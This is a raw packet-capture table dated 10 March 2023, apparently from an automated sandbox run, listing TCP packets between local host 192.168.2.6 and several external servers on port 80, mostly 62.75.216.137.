Mar 10, 2023 07:55:10.894921064 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.894953012 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.895009041 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.895008087 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.895046949 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.895076036 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.895153999 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.895200014 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.895243883 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.895296097 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.896080017 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.896117926 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.896145105 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.896173000 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.896244049 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.896296024 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.896358967 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.896578074 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.896617889 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.896644115 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.896672964 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.896673918 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.896713972 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.896785975 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.896828890 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.915102005 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.915144920 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.915194988 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.915234089 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.915263891 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.915311098 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.915364027 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.915412903 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.915520906 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.915569067 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.915625095 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.915672064 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.915721893 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.915786982 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.915841103 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.915873051 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.915891886 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.915905952 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.916023970 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.916074038 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.916096926 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.916142941 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.916214943 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.916263103 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.916337013 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.916383028 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.916435003 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.916481018 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.916547060 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.916613102 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.916699886 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.916748047 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.916829109 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.916874886 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.916934013 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.916981936 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.917007923 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.917052984 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.917150021 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.917196989 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.917287111 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.917331934 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.917370081 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.917418003 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.917453051 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.917499065 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.917546034 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.917589903 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.917676926 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.917726040 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.917732954 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.917772055 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.917859077 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.917902946 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.918004990 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.918050051 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.935287952 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.935333014 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.935401917 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.935450077 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.935544014 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.935584068 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.935584068 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.935646057 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.935697079 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.935775042 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.935820103 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.935870886 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.935909033 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.936047077 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.936093092 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.936141014 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.936187029 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.936256886 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.936300993 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.936369896 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.936415911 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.936562061 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.936592102 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.936615944 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.936638117 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.936744928 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.936775923 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.936846972 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.936847925 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.936885118 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.936944008 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.936992884 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.937051058 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.937100887 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.937185049 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.937227964 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.937272072 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.937309027 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.937341928 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.937380075 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.937486887 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.937534094 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.937562943 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.937623978 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.937679052 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.937758923 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.937797070 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.937845945 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.937936068 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.937983036 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.938064098 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.938116074 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.938131094 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.938179016 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.938244104 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.938288927 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.938507080 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.938538074 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.938558102 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.938581944 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.938771963 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.938844919 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.938854933 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.938889027 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.938930988 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.938975096 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.939042091 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.939081907 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.939124107 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.939163923 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.939249039 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.939290047 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.939378023 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.939420938 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.939424992 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.939461946 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.939481974 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.939524889 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.939568996 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.939613104 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.939918041 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.939970016 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.939986944 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.940007925 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.940037012 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.940037966 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.940068007 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.940078974 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.940125942 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.940179110 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.940185070 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.940234900 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.940373898 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.940440893 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.940447092 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.940485001 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.940548897 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.940593004 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.940664053 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.940705061 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.940768003 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.940813065 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.940840006 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.940879107 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.941070080 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.941111088 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.941129923 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.941167116 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.941263914 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.941310883 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.955627918 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.955703974 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.955754042 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.955787897 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.955802917 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.955969095 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.956022978 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.956103086 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.956193924 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.956207991 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:10.956223011 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.956302881 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.956429005 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.956451893 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:10.956708908 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.122905970 CET	49977	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:55:11.141933918 CET	80	49945	213.186.33.40	192.168.2.6
Mar 10, 2023 07:55:11.142118931 CET	49945	80	192.168.2.6	213.186.33.40
Mar 10, 2023 07:55:11.245769024 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.245806932 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.245852947 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.245980024 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.245984077 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.246026039 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.246057987 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.246088982 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.246190071 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.246259928 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.246264935 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.246316910 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.246350050 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.246408939 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.246504068 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.246572018 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.246603012 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.246663094 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.246747971 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.246786118 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.246823072 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.246856928 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.246913910 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.246958971 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.247078896 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.247143984 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.247147083 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.247194052 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.247219086 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.247267008 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.247328043 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.247378111 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.247472048 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.247534990 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.247541904 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.247597933 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.247669935 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.247723103 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.247853994 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.247876883 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.247917891 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.247970104 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.247984886 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.248034954 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.248095989 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.248145103 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.248224020 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.248270988 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.248308897 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.248354912 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.248423100 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.248467922 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.248554945 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.248610020 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.248684883 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.248734951 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.248759985 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.248810053 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.248893976 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.248954058 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.249032021 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.249083996 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.249103069 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.249152899 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.249171972 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.249217033 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.249316931 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.249453068 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.249480009 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.249514103 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.249560118 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.249619007 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.249660969 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.249730110 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.249752998 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.249809027 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.249874115 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.249927998 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.250008106 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.250068903 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.250138044 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.250189066 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.250200987 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.250257969 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.250327110 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.250381947 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.250417948 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.250471115 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.250535011 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.250590086 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.250642061 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.250684977 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.250725985 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.250781059 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.250847101 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.250885963 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.250967979 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.251013041 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.251049995 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.251091957 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.251174927 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.251220942 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.251341105 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.251338005 CET	49978	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:55:11.251396894 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.255877018 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.255914927 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.255944014 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.255973101 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.255983114 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.256002903 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.256023884 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.256032944 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.256062031 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.256091118 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.256093025 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.256129980 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.256185055 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.266086102 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.266150951 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.266187906 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.266237020 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.266284943 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.266347885 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.266446114 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.266482115 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.266498089 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.266566992 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.266593933 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.266709089 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.266746044 CET	80	49975	62.75.216.137	192.168.2.6
